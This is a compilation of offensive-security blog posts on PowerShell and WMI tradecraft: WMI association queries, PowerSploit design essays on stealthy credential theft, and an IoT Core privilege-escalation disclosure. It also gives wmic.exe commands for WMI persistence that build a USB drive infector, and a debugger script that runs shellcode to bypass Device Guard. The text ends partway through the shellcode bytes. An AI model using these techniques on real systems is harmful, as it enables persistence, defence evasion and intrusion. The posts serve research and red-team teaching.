LastAccessed          : 20151204080026.749820-480
LastModified          : 20151204080026.751820-480
Manufacturer          :
Path                  : \
Readable              : True
System                : False
Version               :
Writeable             : True
Scope                 : System.Management.ManagementScope
Options               : System.Management.ObjectGetOptions
ClassPath             : \\TESTPC\root\cimv2:CIM_DataFile
Properties            : {AccessMask, Archive, Caption, Compressed...}
SystemProperties      : {__GENUS, __CLASS, __SUPERCLASS, __DYNASTY...}
Qualifiers            : {dynamic, Locale, provider, UUID}
Site                  :
Container             :


You can quickly determine which property to use as a “key” in an ASSOCIATORS OF query by looking at the __RELPATH property which is showing the Name property as our key.

So now I want to know what classes are associated with my CIM_DataFile instance. The following query will return class definitions instead of the associated object instances:

PS C:\> Get-WmiObject -Query 'ASSOCIATORS OF {Cim_DataFile.Name="C:\\foo.txt"} WHERE ClassDefsOnly'


   NameSpace: ROOT\cimv2

Name                                Methods              Properties           
----                                -------              ----------           
Win32_Directory                     {TakeOwnerShip, C... {AccessMask, Archiv...
Win32_LogicalFileSecuritySetting    {GetSecurityDescr... {Caption, ControlFl...

So we now know that there are two classes associated with Cim_DataFile – Win32_Directory and Win32_LogicalFileSecuritySetting. If you look at the MSDN documentation for Win32_LogicalFileSecuritySetting, you’ll see that its GetSecurityDescriptor method will return the ACL for the file. Great!

I can now run the following query and get the associated Win32_Directory and Win32_LogicalFileSecuritySetting class instances:

ASSOCIATORS OF {Cim_DataFile.Name="C:\\foo.txt"}

But let’s say I’m only interested in returning instances of type Win32_LogicalFileSecuritySetting? The following query will get the job done:

ASSOCIATORS OF {Cim_DataFile.Name="C:\\foo.txt"} WHERE AssocClass=Win32_SecuritySettingOfLogicalFile

So you may now be wondering, “Where did Win32_SecuritySettingOfLogicalFile come from???”

In order to constrain an association query to a particular type of class instance, you must specify the association class that links the two classes together. You can get the association class by using the REFERENCES OF statement:

PS C:\> Get-WmiObject -Query 'REFERENCES OF {Cim_DataFile.Name="C:\\foo.txt"} WHERE ClassDefsOnly'


   NameSpace: ROOT\cimv2

Name                                Methods              Properties           
----                                -------              ----------           
CIM_DirectoryContainsFile           {}                   {GroupComponent, Pa...
Win32_SecuritySettingOfLogicalFile  {}                   {Element, Setting}   


So now you can see where the association class came from.

Finally, let’s tie everything together and retrieve the following info from foo.txt – file owner, full path, file size, and MAC times.

$CimDataFile = Get-WmiObject CIM_DataFile -Filter 'Name="C:\\foo.txt"'

$FileSecuritySetting = Get-WmiObject -Query "ASSOCIATORS OF {CIM_DataFile.Name=`"$($CimDataFile.Name.Replace('\','\\'))`"} WHERE AssocClass=Win32_SecuritySettingOfLogicalFile"

$FileACL = $FileSecuritySetting.GetSecurityDescriptor().Descriptor

$FileOwner = "{0}\{1}" -f $FileACL.Owner.Domain, $FileACL.Owner.Name

$Modified = [Management.ManagementDateTimeConverter]::ToDateTime($CimDataFile.LastModified)
$Accessed = [Management.ManagementDateTimeConverter]::ToDateTime($CimDataFile.LastAccessed)
$Created =  [Management.ManagementDateTimeConverter]::ToDateTime($CimDataFile.CreationDate)

$DocProperties = [Ordered] @{
    FileOwner = $FileOwner
    FullPath = $CimDataFile.Name
    FileSize = $CimDataFile.FileSize
    Modified = $Modified
    Accessed = $Accessed
    Created = $Created
}

New-Object PSObject -Property $DocProperties

FileOwner : BUILTIN\Administrators
FullPath  : c:\foo.txt
FileSize  : 13
Modified  : 12/4/2015 8:00:26 AM
Accessed  : 12/4/2015 8:00:26 AM
Created   : 12/4/2015 8:00:26 AM

So I hope that helps explain things a little bit better with regard to ASSOCIATORS OF. Personally, after figuring out what I did, I was still left wondering, “How could I enumerate all association classes and list out the classes they link?” After poking around with the WMI schema a bit, I came up with the following quick and dirty PSv3 script to do just that:

function Get-AssociatedClassRelationship {
    param (
        [String]
        $Namespace = 'root/cimv2'
    )

    Get-CimClass -Namespace $Namespace | ? { $_.CimClassQualifiers['Association'] -and (-not $_.CimClassQualifiers['Abstract']) } | % {
        $KeyQualifiers = @($_.CimClassProperties | ? { $_.Qualifiers['key'] })

        if ($KeyQualifiers.Count -eq 2) {
            $Properties = [Ordered] @{
                AssociationClassName = $_.CimClassName
                LinkedClassName1 = $KeyQualifiers[0].ReferenceClassName
                LinkedClassName2 = $KeyQualifiers[1].ReferenceClassName
            }

            New-Object PSObject -Property $Properties
        }
    }
}

So now, hopefully you’re armed with just enough information to begin forming association queries as well as discovering which associations exist!

Offensive Tool Design and the Weaponization Dilemma

With the impending reboot of PowerSploit, partly commissioned by my new employer (Veris Group - Adaptive Threat Division), I’ve been writing a lot of new PowerShell code and refactoring some old code all while attempting to apply more formal software development practices – behavior driven development with Pester being a major example. Now, just to make things clear, I am not a formally trained software engineer. I’ve worked with some very bright ones however, and they instilled in me many formal development principles. PowerSploit has come a long way from its humble beginning as a horribly written shellcode runner to where it is now – still leaving much to be desired, in my opinion. Regardless, as with all code you’ve written, you look back at your old code and become disgusted with your former self.

As PowerSploit has grown and matured ever so slowly, I began to formalize how I thought offensive PowerShell code should be written – in other words, being mindful of the ease of weaponization and ease of use for the end-user pentester or red teamer. For example, I’ve asked the following of those wanting to commit new code to PowerSploit:

  1. Code should be designed to be modular: i.e. functionality should be encapsulated in the form of a function, not a script. Scripts are designed to be executed from disk – something we want to avoid as attackers.
  2. I strongly emphasized that code should be self-contained: i.e. weaponized code should not be in the business of resolving dependencies. This makes sense to a point. If you’re going to execute a PowerShell payload from a simple download cradle, what you download needs to contain the entire payload that you want to execute. As a result, most code in PowerSploit is categorized appropriately and grouped logically into single psm1 files that can be easily staged via a download cradle.

Recently, I’ve been a little harder on myself wanting to simplify code and what has resulted is what I think warrants a discussion on the trade-offs of software design and weaponization. As a perfect example, I removed Metasploit payload support from Invoke-Shellcode. Why? Because I think a function should do one thing and do it well. People have used Invoke-Shellcode extensively with the built-in Metasploit support and I know some will be upset. Here was my rationale in making that decision:

  1. I only supported 32-bit HTTP and HTTPS meterpreter stagers. Metasploit contains so many more payloads that I could have supported but then I would have had to maintain all of them. I don’t want that job.
  2. The Metasploit support was simple in practice. I simply downloaded the staged payload and executed the shellcode as a byte array. But my question was: why should Invoke-Shellcode be downloading anything? Shouldn’t it just execute shellcode? After all, Invoke-WebRequest is built-in to PowerShell and it’s proxy aware! Also, there’s a million different mechanisms by which you might want to obtain a shellcode payload – DNS TXT records, UDP, etc.
  3. Metasploit payloads can easily be generated with msfvenom.

Another design consideration involves code like Invoke-Mimikatz. Invoke-Mimikatz, loved by many, is a glorified wrapper around Invoke-ReflectivePEInjection – an amazing in-memory PE loader. There are several functions in PowerSploit that utilize Invoke-ReflectivePEInjection and it’s a huge maintenance headache when updates need to be made to Invoke-ReflectivePEInjection because there are at least three other functions that embed Invoke-ReflectivePEInjection that need to be updated too.

So here’s my personal pitch: I would advocate that all functions serve one single purpose and serve that single purpose well and that dependencies should be maintained separately. For example, rather than embedding Invoke-ReflectivePEInjection in InvokeMimkatz, it should call Invoke-ReflectivePEInjection and annotate Invoke-ReflectivePEInjection as a dependency (a practice I’ve implemented for a long time). Naturally, the problem with that approach would result in a more concerted weaponization effort. A red team operator would need to make sure that all dependencies were included in their intended payload – a potential operational headache. Empire modules can easily resolve these dependencies though by automatically declaring and combining dependencies which would be completely transparent to an operator. So Empire is a great example of weaponization done right all while enabling a developer like myself to separate out and simplify the logic in my attack tools.

So in my mind, the debate comes down to the following two arguments:

  1. Modularize everything. A function/cmdlet should do one thing and do it well. Dependency resolution would then be a requirement for weaponization.
  2. Package everything together so that users can immediately start using your offensive toolset without having to worry about stitching together an arbitrary list of dependencies.

As one of the primary devs of PowerSploit, I make the argument for #1 for the following reasons:

  1. Make my life easier, people! :P
  2. I feel that operators should have the flexibility of mixing and matching the functionality (or weaving a tapestry of evil, if you will ;) ) that they want to use. This does require more extensive knowledge of the language they’re using though – in this case, PowerShell.
  3. It makes code easier to maintain and easier for external contributions.
  4. Regarding PowerSploit specifically, my vision for it is that it should be a suite of tools to enable operators to pick, choose, and deploy the functionality they want. I prefer that PowerSploit not focus on weaponization because you have mature platforms like Empire and Cobalt Strike that already aim to solve that problem.

All that said, I hope I can open up a good dialog on the virtues of offensive software development and weaponization. Obviously, such a topic doesn’t apply to just PowerShell so I’d love to hear the opinions of those coping with my same struggles.

The PowerSploit Manifesto

It’s been a long journey and after so many years of learning PowerShell, starting to learn better software engineering disciplines, developing a large open source, offensive PowerShell project, using it in the field, and observing how others use it in the field, I feel compelled to provide a clearer vision for the direction in which I’d like to see PowerSploit go. Before I delve into what my vision is and the rationale for the vision, let’s get some perspective on some things.

The PowerShell Capabilities Matrix

I think the offensive usage of PowerShell can be bucketed into the following, non-mutually exclusive categories:

  1. You primarily use the benefits of PowerShell (e.g. facilitation of memory residence) to supplement a mostly non-PowerShell workflow. In other words, your workflow consists primarily of leveraging an existing framework like Metasploit, Empire, Cobalt Strike, etc. to seamlessly build and deliver payloads, irrespective of the language used to implement the payload.
  2. You recognize the value of PowerShell for conducting many phases of an operation in a Windows environment. You're not a tool developer but you need to be able to have a large offensive library to choose from that can be tailored to your engagement.
  3. You are a capable PowerShell tool developer and operator where modularity of the toolset is crucial because your operations are extremely tailored to a specific environment where stealth and operational effectiveness is crucial.

Mattifestation Goal #1: To build a library of capabilities catered to #3 that can ultimately trickle down to #1.

Operational Requirements and Design Challenges

Consider the following requirement from your Director of Offensive Operations:

Objective: We need the ability to capture the credentials of a target and not get caught doing so.

Let’s pretend that such a capability doesn’t exist yet. Two things were explicitly asked of us: 1) Capture target credentials and 2) don’t get caught.

The operations team leads get together and brainstorm how to achieve the director’s relatively vague objective. Each team lead knows that they all have unique operational constraints depending on the target so they come up with the following requirements for the developers:

  1. Mimikatz has proved to be an extremely effective tool for capturing credentials but we worry about it getting flagged by AV so we need you to load it in memory.
  2. Depending on the firewall restrictions and listening services on a target, multiple comms protocols will be required to both deploy and get Mimikatz results back to the operator. We need to be prepared with what the target will throw us.
  3. Because we’ll be dealing with sensitive data, we need to encrypt the Mimikatz results.
The developer, being a huge PowerShell fanboy has convinced the director and ops leads that it can accomplish every one of these achieved goals, all while keeping everything memory resident.

So the developer now has some basic requirements necessary to knock out the objectives of the ops team leads and director. The decision then becomes, how to package all of the implemented capabilities?

The developer could develop a “one size fits all” solution that encompasses all of the requirements into a single function – let’s call it Get-AllTheCreds. Such a tool would be great. It would give the operators everything they need in a simple, already pre-weaponized package. Problem solved. They now have an effective credential harvesting capability that works over multiple protocols. Everyone is happy. That is, until the director dictates a new requirement: we need the ability to steal files from a target without getting caught…

After a while, as the requirements grow, the developers quickly learn that development of the “one size fits all” solutions that their operators have loved isn’t going to scale. Instead, the developer proposes writing the following tools that can be stitched together as the ops lead sees fit:

Payload delivery
Invoke-Command - for WinRM payload deployment
Invoke-WmiCommand - for WMI payload deployment

Optional communications functionality
Send-TCPData
Send-UDPData
Send-ICMPData
Send-DropboxData
Receive-TCPData
Receive-UDPData
Receive-ICMPData
Receive-DropboxData

In-memory PE loader used to load Mimikatz or any other PE
Invoke-ReflectivePEInjection

Data encryption
Out-EncryptedText

This approach scales really well as it allows a developer to create and test each unit of functionality independently resulting in more modular and more reliable code. It also enables the operator to leverage only the minimal amount of functionality needed to carry out a targeted operation. At the same time though it places an additional burden upon the operator is that they will be required to decide which functions to include in their weaponized payload.

Mattifestation Goal #2: As one of the core developers of PowerSploit, I don't want to be in the game of deciding how people use PowerShell to carry out their operations. Rather, I want to be in the game of providing an arsenal of capabilities to the decision maker.

This decision has led to some discontent amongst those who want a fully pre-weaponized product and understandably so. Up until this point, the tools in PowerSploit haven’t had any dependencies. The problem as a developer is that this doesn’t scale if PowerSploit is to grow and it leaves the developer of the capabilities inferring what the “one size fits all” solution might be.

The Good ol’ Days...

Mattifestation Goal #3: Do your best to not alienate your existing user base and don't force them to resolve complicated dependencies.

Goal #3 is where the challenge lies in trying to cater to everyone. I want to modularize everything in PowerSploit but then that would leave many frustrated trying to ensure that they have all the dependencies they need. So what @harmj0y and I propose is the following:

  1. Modularize everything in PowerSploit. As in, make it a proper PowerShell module. Those who use it as a module won't have any dependencies to worry about because PowerShell modules are designed to resolve all dependencies. Modules are a beautiful thing in PowerShell for those who aren’t aware. They just aren’t feasible for in-memory weaponization.
  2. Most people in the business of using offensive PowerShell won’t use PowerSploit as a module on their target. For frameworks like Empire, Cobalt Strike, etc. that offer PowerShell weaponization, they will need a way to resolve and merge dependencies prior to payload deployment. For functions that require dependencies, we will include a machine-parsable list of required dependencies. These won’t be external dependencies but merely just a list of PowerSploit functions required by another PowerSploit function. We have made the decision that we will never require any dependencies not present in PowerSploit.
  3. People will likely want to use PowerSploit functions outside of a formal framework so for those people, we will provide dependency resolution scripts written in both PowerShell (e.g. Get-WeaponizedPayload) and Python that perform the tasks that follow. Providing this capability, while adding a mandatory step for users will solve the dependency issue and it will ensure that a script is produced that includes only the required functionality.
    1. Take a list of PowerSploit functions and generate a script that includes all of them with their required dependencies merged
    2. Generate a script that includes all functions and merged dependencies from a specified submodule – e.g. the Recon submodule which includes PowerView
    3. Takes a script or scriptblock as input, parses it and prepends any dependencies to a resulting output script
  4. We’re still debating how this solution would scale but the idea would be to also include a “release build” that would include all of the resolved dependencies for many of the most popular PowerSploit functions/submodules. An example of how this doesn’t scale well is in PowerView. PowerView relies upon the PSReflect library for calling Win32 API functions. PSReflect is a fairly sizeable chunk of code so would you want to include it every single PowerView function? That would result in unnecessary bloat. So you could prepend the PSReflect lib to all of the PowerView functions but then you get everything together as one large package and what if you only want to deploy a couple PowerView functions? This is just one of several reasons why I don’t think this option would scale but perhaps we could use this to throw a bone to those content with “the way things were” for a period of time.
The Future

We intend to incorporate these changes in the next major release of PowerSploit. By incorporating these proposed changes, what you'll see is a large increase in the code base and hopefully reduced dwell time in acceptance of new pull requests and issue handling. For example, I was reluctant to accept any new wrappers for Invoke-ReflectivePEInjection due to duplicate code being sprayed all over the place. Also, this more modular design paradigm will allow PowerSploit developers to focus on developing unique comms functionality independent of other capabilities. By moving forward with these changes, I can say that I will personally remain dedicated to moving PowerSploit forward and I hope that my enthusiasm will rub off on those wanting to contribute, weaponize these capabilities, and those just wanting to up excel their tradecraft. Lastly, you'll begin to hear me make more of a concerted effort to brand PowerSploit as an "offensive capabilities library" versus a framework. Nor should PowerSploit be considered a "pentest tool." Metasploit and Cobalt Strike are frameworks that weaponize and deploy payloads irrespective of the language used on the target. PowerSploit is a language-specific library that aims to empower the operator who has warmly welcomed PowerShell into their methodology.

As a final thought and plea, it is my expectation and hope that all pentesters and red teamers learn PowerShell. It is a required skill for so many reasons, many of which I’ve outlined here. Stop putting it off! Do effective pentesters and red teamers in a Linux environment get away without knowing simple bash scripting and command-line usage? No! So the next time you’re in a situation with some hacker buddies where you have hands on a machine and want to impress, are you going to choose the black screen or the blue screen???

Properly Retrieving Win32 API Error Codes in PowerShell

Having worked with Win32 API functions enough in PowerShell using P/Invoke and reflection, I was constantly annoyed by the fact that I was often unable to correctly capture the correct error code from a function that sets its error code (by calling SetLastError) prior to returning to the caller despite setting SetLastError to True in the DllImportAttribute.


Consider the following, simple code that calls CopyFile within kernel32.dll:


$MethodDefinition = @'

[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]

public static extern bool CopyFile(string lpExistingFileName, string lpNewFileName, bool bFailIfExists);

'@


$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -Namespace 'Win32' -PassThru


# Perform an invalid copy

$CopyResult = $Kernel32::CopyFile('C:\foo2', 'C:\foo1', $True)


# Retrieve the last error for CopyFile. The following error is expected:

# "The system cannot find the file specified"

$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()


# An incorrect error is retrieved:

# "The system could not find the environment option that was entered"

# Grrrrrrrrrrrrrrrrr...


$LastError


I knew that you needed to retrieve the last error code immediately after a call to a Win32 function so naturally, I would have expected the correct error code. The one returned was consistently nonsensical, however. I don’t really know how I thought to try the following but I finally figured out how to properly capture the correct error code after an unmanaged function call – capture the error code on the same line (i.e. immediately after a semicolon). Apparently, the simple act of progressing to the next line in a PowerShell console is enough for your thread to set a different error code…


The following code demonstrates how to accurately capture the last set error code:


$MethodDefinition = @'

[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]

public static extern bool CopyFile(string lpExistingFileName, string lpNewFileName, bool bFailIfExists);

'@


$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -Namespace 'Win32' -PassThru


# Perform an invalid copy

$CopyResult = $Kernel32::CopyFile('C:\foo2', 'C:\foo1', $True);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()


# The correct error is retrieved:

# "The system cannot find the file specified"

# Yayyyyyyyyyyy....


$LastError


That’s all. I felt it was necessary to share this as I’m sure others have encountered this issue and were unable to find any solution on the Internet as it pertained to PowerShell.


Happy New Year!

Misconfigured Service ACL Elevation of Privilege Vulnerability in Win10 IoT Core Build 14393

As of this writing, the latest public preview of Windows 10 IoT Core (build 14393) suffers from an elevation of privilege vulnerability via a misconfigured service ACL. The InputService service which run as SYSTEM grants authenticated users (i.e. members of the “NT AUTHORITY\Authenticated Users” group) SERVICE_ALL_ACCESS access rights, allowing an unprivileged, authenticated user to change the binary path of the service and gain elevated code execution upon restarting the service.

For reference, you can validate that InputService runs as SYSTEM with the following commands:

$InputService = Get-CimInstance -ClassName Win32_Service -Filter 'Name = "InputService"'

$InputService.StartName

Get-CimInstance -ClassName Win32_Process -Filter "ProcessId=$($InputService.ProcessId)" | Invoke-CimMethod -MethodName GetOwner

This trivial vulnerability was discovered while running the Get-CSVulnerableServicePermission function in CimSweep against an IoT Core instance running on my Raspberry Pi 2. CimSweep is designed to perform incident response and hunt operations entirely over WMI/CIM.

Exploitation

I wrote a proof of concept exploit that simply adds an unprivileged user to the Administrators group.

While this is a classic service misconfiguration vulnerability, there are several caveats to be mindful of when exploiting it on Win 10 IoT Core. First of all, IoT Core is designed to be managed remotely and for that, you are given two remote management options: PowerShell Remoting and SSH. I chose to use PowerShell Remoting in my PoC exploit primarily to point out that the default SDDL for PowerShell Remoting in IoT Core requires that users be members of the “Remote Management Users” group. Additional information on administering IoT Core with PowerShell can be found here. For reference, the default SDDL for PowerShell Remoting can be obtained and interpreted with the following command:

Get-PSSessionConfiguration -Name microsoft.powershell | Select-Object -ExpandProperty Permission

There is no such group membership requirement for SSH. Hopefully, at a future point, SSH endpoints on Windows will have the granular security controls that PowerShell Remoting offers via the PSSessionConfiguration cmdlets. Some additional caveats were that when I remoted in as an unprivileged user, I did not have sufficient privileges to use the Service cmdlets (Get-Service, Set-Service, etc.) or CIM cmdlets (Get-CimInstance, Invoke-CimMethod, etc.) in order to change the service configuration. Fortunately, sc.exe presented no such restrictions.

Conclusion

While this is by no means a “sexy” vulnerability, the fact that such a trivial vulnerability was present in a modern Windows OS tells me that perhaps Win 10 IoT Core isn’t getting the security scrutiny of other Windows operating systems. I hope that many of the same security controls and mitigations will eventually be applied to IoT Core if the plan is for this to be the operating system that drives critical infrastructure.

Lastly, if you’re attending Black Hat USA 2016, you should plan on attending Paul Sabanal’s (@polsab) talk on Windows 10 IoT Core!

Disclosure Timeline

May 22, 2016 – Vulnerability reported to MSRC
May 23, 2016 – MSRC opened a case number for the issue.
July 20, 2016 – Follow-up email sent to MSRC asking for a status update. No response received
July 25, 2016 – Decision made to release the vulnerability details

WMI Persistence using wmic.exe

Until recently, I didn’t think it was possible to perform WMI persistence using wmic.exe but after some experimentation, I finally figured it out. To date, WMI persistence via dropping MOF files or by using PowerShell has been fairly well documented but documentation on performing this with wmic.exe doesn’t seem to exist. I won’t get into the background of WMI persistence in this article as the concepts are articulated clearly in the two previous links. The challenge in using wmic.exe to perform WMI persistence is that when creating an instance of a __FilterToConsumerBinding class, it requires references to an existing __EventFilter and __EventConsumer. It turns out that you can reference existing WMI objects in wmic.exe using the syntax provided in a WMI object’s __RELPATH property! Okay. Enough theory. Let’s dive into an example.


In this example, we’re going to use wmic.exe to create a PoC USB drive infector that will immediately drop the EICAR string to eicar.txt in the root folder of any inserted removable media.


1) Create an __EventFilter instance.


wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="VolumeArrival", QueryLanguage="WQL", Query="SELECT * FROM Win32_VolumeChangeEvent WHERE EventType=2"


2) Create an __EventConsumer instance. CommandLineEventConsumer in this example.


wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="InfectDrive", CommandLineTemplate="powershell.exe -NoP -C [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo=')) | Out-File %DriveName%\eicar.txt"


3) Obtain the __RELPATH of the __EventFilter and __EventConsumer instances. This built-in, system property provides the object instance syntax needed when creating a __FilterToConsumerBinding instance.


wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list


4) Create a __FilterToConsumerBinding instance. The syntax used for the Filter and Consumer properties came from the __RELPATH properties in the previous step.


wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"VolumeArrival\"", Consumer="CommandLineEventConsumer.Name=\"InfectDrive\""


At this point, the USB drive infector is registered and running!


5) Optional: Remove all instances - i.e. unregister the permanent WMI event subscription.


wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="VolumeArrival" DELETE

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="InfectDrive" DELETE


So that’s all there is to it! Hopefully, this will be a useful tool to add to your offensive WMI arsenal!

Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner

Imagine you’ve gained access to an extremely locked down Windows 10 host running Device Guard. The Device Guard policy is such that all PEs (exe, dll, sys, etc.) must be signed by Microsoft. No other signed code is authorized. Additionally, a side effect of Device Guard being enabled is that PowerShell will be locked down in constrained language mode so arbitrary code execution is ruled out in the context of PowerShell (unless you have a bypass for that, of course). You have a shellcode payload you’d like to execute. What options do you have?


You’re an admin. You can just disable Device Guard, right? Nope. The Device Guard policy is signed and you don’t have access to the code signing cert to sign and plant a more permissive policy. To those who want to challenge this claim, please go forth and do some Device Guard research and find a bypass. For us mere mortals though, how can we execute our shellcode considering we can’t just disable Device Guard?


The obvious solution dawned on me recently: I simply asked myself, “what is a tool that’s signed by Microsoft that will execute code, preferably in memory?” WinDbg/CDB of course! I had used WinDbg a million times to execute shellcode for dynamic malware analysis but I never considered using it as a generic code execution method for malware in a signed process. Now, in order to execute a shellcode buffer, there are generally three requirements to get it to execute in any process:


1)      You need to be able to allocate at least RX memory for it. In reality, you’ll need RWX memory though if the shellcode is self-modifying – i.e. any encoded Metasploit shellcode.

2)      You need a mechanism to copy the shellcode buffer to the allocated memory.

3)      You need a way to direct the flow of execution of a thread to the shellcode buffer.


Fortunately, WinDbg and CDB have commands to achieve all of this.


1)  .dvalloc [Size of shellcode]


Allocates a page-aligned RWX buffer of the size you specify.


2)  eb [Shellcode address] [Shellcode byte]


Writes a byte to the address specified.


3)  r @$ip=[Shellcode address]


Points the instruction pointer to the address specified. Note: $ip is a generic, pseudo register that refers to EIP, RIP, or PC depending upon the architecture (x86, amd64, and ARM, respectively).


With those fundamental components, we have pretty much everything we need to implement a WinDbg or CDB shellcode runner. The following proof-of-concept example will launch 64-bit shellcode (pops calc) in notepad.exe. To get this running, just save the text to a file (I named it x64_calc.wds) and launch it with the following command: cdb.exe -cf x64_calc.wds -o notepad.exe


$$ Save this to a file - e.g. x64_calc.wds

$$ Example: launch this shellcode in a host notepad.exe process.

$$ cdb.exe -cf x64_calc.wds -o notepad.exe


$$ Allocate 272 bytes for the shellcode buffer

$$ Save the address of the resulting RWX in the pseudo $t0 register

.foreach /pS 5  ( register { .dvalloc 272 } ) { r @$t0 = register }


$$ Copy each individual shellcode byte to the allocated RWX buffer

$$ Note: The `eq` command could be used to save space, if desired.

$$ Note: .readmem can be used to read a shellcode buffer too but

$$   shellcode on disk will be subject to AV scanning.

;eb @$t0+00 FC;eb @$t0+01 48;eb @$t0+02 83;eb @$t0+03 E4

;eb @$t0+04 F0;eb @$t0+05 E8;eb @$t0+06 C0;eb @$t0+07 00

;eb @$t0+08 00;eb @$t0+09 00;eb @$t0+0A 41;eb @$t0+0B 51

;eb @$t0+0C 41;eb @$t0+0D 50;eb @$t0+0E 52;eb @$t0+0F 51

;eb @$t0+10 56;eb @$t0+11 48;eb @$t0+12 31;eb @$t0+13 D2

;eb @$t0+14 65;eb @$t0+15 48;eb @$t0+16 8B;eb @$t0+17 52

;eb @$t0+18 60;eb @$t0+19 48;eb @$t0+1A 8B;eb @$t0+1B 52

;eb @$t0+1C 18;eb @$t0+1D 48;eb @$t0+1E 8B;eb @$t0+1F 52

;eb @$t0+20 20;eb @$t0+21 48;eb @$t0+22 8B;eb @$t0+23 72

;eb @$t0+24 50;eb @$t0+25 48;eb @$t0+26 0F;eb @$t0+27 B7

;eb @$t0+28 4A;eb @$t0+29 4A;eb @$t0+2A 4D;eb @$t0+2B 31

;eb @$t0+2C C9;eb @$t0+2D 48;eb @$t0+2E 31;eb @$t0+2F C0

;eb @$t0+30 AC;eb @$t0+31 3C;eb @$t0+32 61;eb @$t0+33 7C

;eb @$t0+34 02;eb @$t0+35 2C;eb @$t0+36 20;eb @$t0+37 41

;eb @$t0+38 C1;eb @$t0+39 C9;eb @$t0+3A 0D;eb @$t0+3B 41

;eb @$t0+3C 01;eb @$t0+3D C1;eb @$t0+3E E2;eb @$t0+3F ED

;eb @$t0+40 52;eb @$t0+41 41;eb @$t0+42 51;eb @$t0+43 48

;eb @$t0+44 8B;eb @$t0+45 52;eb @$t0+46 20;eb @$t0+47 8B

;eb @$t0+48 42;eb @$t0+49 3C;eb @$t0+4A 48;eb @$t0+4B 01

;eb @$t0+4C D0;eb @$t0+4D 8B;eb @$t0+4E 80;eb @$t0+4F 88

;eb @$t0+50 00;eb @$t0+51 00;eb @$t0+52 00;eb @$t0+53 48

;eb @$t0+54 85;eb @$t0+55 C0;eb @$t0+56 74;eb @$t0+57 67

;eb @$t0+58 48;eb @$t0+59 01;eb @$t0+5A D0;eb @$t0+5B 50

;eb @$t0+5C 8B;eb @$t0+5D 48;eb @$t0+5E 18;eb @$t0+5F 44

;eb @$t0+60 8B;eb @$t0+61 40;eb @$t0+62 20;eb @$t0+63 49

;eb @$t0+64 01;eb @$t0+65 D0;eb @$t0+66 E3;eb @$t0+67 56

;eb @$t0+68 48;eb @$t0+69 FF;eb @$t0+6A C9;eb @$t0+6B 41

;eb @$t0+6C 8B;eb @$t0+6D 34;eb @$t0+6E 88;eb @$t0+6F 48

;eb @$t0+70 01;eb @$t0+71 D6;eb @$t0+72 4D;eb @$t0+73 31

;eb @$t0+74 C9;eb @$t0+75 48;eb @$t0+76 31;eb @$t0+77 C0

;eb @$t0+78 AC;eb @$t0+79 41;eb @$t0+7A C1;eb @$t0+7B C9

;eb @$t0+7C 0D;eb @$t0+7D 41;eb @$t0+7E 01;eb @$t0+7F C1

;eb @$t0+80 38;eb @$t0+81 E0;eb @$t0+82 75;eb @$t0+83 F1

;eb @$t0+84 4C;eb @$t0+85 03;eb @$t0+86 4C;eb @$t0+87 24

;eb @$t0+88 08;eb @$t0+89 45;eb @$t0+8A 39;eb @$t0+8B D1

;eb @$t0+8C 75;eb @$t0+8D D8;eb @$t0+8E 58;eb @$t0+8F 44

;eb @$t0+90 8B;eb @$t0+91 40;eb @$t0+92 24;eb @$t0+93 49

;eb @$t0+94 01;eb @$t0+95 D0;eb @$t0+96 66;eb @$t0+97 41

;eb @$t0+98 8B;eb @$t0+99 0C;eb @$t0+9A 48;eb @$t0+9B 44

;eb @$t0+9C 8B;eb @$t0+9D 40;eb @$t0+9E 1C;eb @$t0+9F 49

;eb @$t0+A0 01;eb @$t0+A1 D0;eb @$t0+A2 41;eb @$t0+A3 8B

;eb @$t0+A4 04;eb @$t0+A5 88;eb @$t0+A6 48;eb @$t0+A7 01

;eb @$t0+A8 D0;eb @$t0+A9 41;eb @$t0+AA 58;eb @$t0+AB 41

;eb @$t0+AC 58;eb @$t0+AD 5E;eb @$t0+AE 59;eb @$t0+AF 5A

;eb @$t0+B0 41;eb @$t0+B1 58;eb @$t0+B2 41;eb @$t0+B3 59

;eb @$t0+B4 41;eb @$t0+B5 5A;eb @$t0+B6 48;eb @$t0+B7 83

;eb @$t0+B8 EC;eb @$t0+B9 20;eb @$t0+BA 41;eb @$t0+BB 52

;eb @$t0+BC FF;eb @$t0+BD E0;eb @$t0+BE 58;eb @$t0+BF 41

;eb @$t0+C0 59;eb @$t0+C1 5A;eb @$t0+C2 48;eb @$t0+C3 8B

;eb @$t0+C4 12;eb @$t0+C5 E9;eb @$t0+C6 57;eb @$t0+C7 FF

;eb @$t0+C8 FF;eb @$t0+C9 FF;eb @$t0+CA 5D;eb @$t0+CB 48

;eb @$t0+CC BA;eb @$t0+CD 01;eb @$t0+CE 00;eb @$t0+CF 00

;eb @$t0+D0 00;eb @$t0+D1 00;eb @$t0+D2 00;eb @$t0+D3 00

;eb @$t0+D4 00;eb @$t0+D5 48;eb @$t0+D6 8D;eb @$t0+D7 8D

;eb @$t0+D8 01;eb @$t0+D9 01;eb @$t0+DA 00;eb @$t0+DB 00

;eb @$t0+DC 41;eb @$t0+DD BA;eb @$t0+DE 31;eb @$t0+DF 8B

;eb @$t0+E0 6F;eb @$t0+E1 87;eb @$t0+E2 FF;eb @$t0+E3 D5

